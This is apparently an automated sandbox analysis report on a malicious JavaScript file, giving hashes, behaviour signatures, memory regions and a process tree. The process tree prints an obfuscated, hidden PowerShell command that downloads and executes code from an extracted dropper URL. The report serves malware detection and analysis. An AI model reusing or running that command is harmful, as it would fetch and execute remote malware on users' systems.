Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/12/2023, 08:39

General

  • Target

    6076e083ff072eb4cec6bbc7481b99ec.js

  • Size

    108KB

  • MD5

    6076e083ff072eb4cec6bbc7481b99ec

  • SHA1

    1dac13a7223d572b34c2da1fde0de9639e3e6b65

  • SHA256

    e0e200c41b0d1cb733993874c13c2b716765b29c32993d63435fcefc5db5b2ad

  • SHA512

    c4584d8df91e8626c1efa96f2ccc4426e484823a757a44d51d250427c5fb67699ae85cc63f99aa231d4a51f7b7f2a13a619972a11741b145d212a36a2ce897b7

  • SSDEEP

    3072:k1JVG7OLu7cZUcMjoF539Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZM:A8Oi7wUcOa39Ry9RuXqW4SzUHmLKeMMe

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\6076e083ff072eb4cec6bbc7481b99ec.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1920
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2304
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/3880-1-0x0000022FDF060000-0x0000022FDF082000-memory.dmp

    Filesize

    136KB

  • memory/3880-13-0x0000022FC49B0000-0x0000022FC49C0000-memory.dmp

    Filesize

    64KB

  • memory/3880-12-0x0000022FC49B0000-0x0000022FC49C0000-memory.dmp

    Filesize

    64KB

  • memory/3880-11-0x00007FF9226C0000-0x00007FF923181000-memory.dmp

    Filesize

    10.8MB

  • memory/3880-17-0x0000022FC49B0000-0x0000022FC49C0000-memory.dmp

    Filesize

    64KB

  • memory/3880-18-0x00007FF9226C0000-0x00007FF923181000-memory.dmp

    Filesize

    10.8MB

  • memory/3880-14-0x0000022FC49B0000-0x0000022FC49C0000-memory.dmp

    Filesize

    64KB